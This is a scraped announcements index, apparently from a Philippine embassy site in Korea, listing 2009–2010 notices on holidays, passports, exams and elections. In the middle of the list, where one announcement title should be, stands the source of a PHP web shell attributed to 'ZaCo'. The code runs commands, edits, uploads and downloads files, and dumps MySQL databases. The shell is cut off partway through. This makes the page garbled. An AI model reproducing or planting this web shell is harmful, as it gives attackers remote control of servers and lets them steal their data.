• HOME › ANNOUNCEMENTS |
Title | Date | |
Live Chat with the candidates on Politicalarena.com | 2/22/2010 | |
FDCP holds historical scriptwriting contest | 2/16/2010 | |
Holiday - March 2010 | 2/9/2010 | |
Holiday - February 2010 | 1/25/2010 | |
Holy Mass Invitation | 1/25/2010 | |
2010 Foreign Service Officer (FSO) Examinations | 1/18/2010 | |
MAHALAGANG PAALALA TUNGKOL SA DRIVER’S LICENSE | 1/8/2010 | |
PASSPORT ADVISORY | 1/5/2010 | |
PREPARATIONS UNDERWAY FOR THE 6th KOREAN LANGUAGE TEST IN EARLY 2010 | 1/4/2010 | |
########################################################## # Small PHP Web Shell by ZaCo (c) 2004-2006 # # +POST method # # +MySQL Client+Dumper for DB and tables # # +PHP eval in text format and html for phpinfo() example # # PREVED: sn0w, Zadoxlik, Rebz, SkvoznoY, PinkPanther # # For antichat.ru and cup.su friends usage # # All bugs -> mailo:zaco@yandex.ru # # Just for fun :) # ########################################################## error_reporting(E_ALL); @set_time_limit(0); function magic_q($s) { if(get_magic_quotes_gpc()) { $s=str_replace('\\\'','\'',$s); $s=str_replace('\\\\','\\',$s); $s=str_replace('\\"','"',$s); $s=str_replace('\\\0','\0',$s); } return $s; } function get_perms($fn) { $mode=fileperms($fn); $perms=''; $perms .= ($mode & 00400) ? 'r' : '-'; $perms .= ($mode & 00200) ? 'w' : '-'; $perms .= ($mode & 00100) ? 'x' : '-'; $perms .= ($mode & 00040) ? 'r' : '-'; $perms .= ($mode & 00020) ? 'w' : '-'; $perms .= ($mode & 00010) ? 'x' : '-'; $perms .= ($mode & 00004) ? 'r' : '-'; $perms .= ($mode & 00002) ? 'w' : '-'; $perms .= ($mode & 00001) ? 'x' : '-'; return $perms; } $head=<< } break; } case 'cmd': { $cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):''; $work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd(); $action=isset($_POST['action'])?$_POST['action']:'cmd'; if(@is_dir($work_dir)) { @chdir($work_dir); $work_dir=getcwd(); if($work_dir=='')$work_dir='/'; else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; } else if(file_exists($work_dir))$work_dir=realpath($work_dir); $work_dir=str_replace('\\','/',$work_dir); $e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES); switch($action) { case 'cmd' : { echo($head.$pages); ?> if($cmd!==''){ echo(''.htmlspecialchars($cmd)." '); ?> } else echo('Error Listing '.$e_work_dir); } else switch($f_action) { case 'view': { echo(''.$e_work_dir." Edit \n"); $f=@fopen($work_dir,'r'); ?>break; } case 'save' : { $file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):''; $f=@fopen($work_dir,'w'); if(!($f))echo('Error '.$e_work_dir." \n"); else { fwrite($f,$file_text); fclose($f); echo(''.$e_work_dir." is saving\n"); } break; } } break; } break; } case 'upload' : { if($work_dir=='')$work_dir='/'; else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; $f=$_FILES["filename"]["name"]; if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed'); else { echo('file is uploaded in '.$e_work_dir); } break; } case 'download' : { $fname=isset($_POST['fname'])?$_POST['fname']:''; $temp_file=isset($_POST['temp_file'])?'on':'nn'; $f=@fopen($fname,'r'); if(!($f)) echo('file is not exists'); else { $archive=isset($_POST['archive'])?$_POST['archive']:''; if($archive=='gzip') { Header("Content-Type:application/x-gzip\n"); $s=gzencode(fread($f,filesize($fname))); Header('Content-Length: '.strlen($s)."\n"); Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n"); echo($s); } else { Header("Content-Type:application/octet-stream\n"); Header('Content-Length: '.filesize($fname)."\n"); Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n"); ob_start(); while(feof($f)===false) { echo(fread($f,10000)); ob_flush(); } } } } } break; } case 'mysql' : { $action=isset($_POST['action'])?$_POST['action']:'query'; $user=isset($_POST['user'])?$_POST['user']:''; $passwd=isset($_POST['passwd'])?$_POST['passwd']:''; $db=isset($_POST['db'])?$_POST['db']:''; $host=isset($_POST['host'])?$_POST['host']:'localhost'; $query=isset($_POST['query'])?magic_q($_POST['query']):''; switch($action) { case 'dump' : { $mysql_link=@mysql_connect($host,$user,$passwd); if(!($mysql_link)) echo('Connect error'); else { //@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols $to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false; $archive=isset($_POST['archive'])?$_POST['archive']:'none'; if($archive!=='none')$to_file=false; $db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:''; $table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:''; if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error'); else { $dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n"; ob_start(); if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false; if($table_dump=='') { if(!$to_file) { header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); } $result=mysql_query('show tables',$mysql_link); for($i=0;$i | 12/11/2009 | |
Holidays - December 2009 | 11/24/2009 | |
Partial Amendment of the Act on Employment of Foreign Workers. | 11/23/2009 | |
“Bravo! ASEAN in Korea”- A Talent Contest for ASEAN residents in Korea | 11/18/2009 | |
To All Heads/Focal Persons of FilCom Organizations/Institutions in Korea | 11/16/2009 | |
COMELEC ADVISORY | 11/10/2009 | |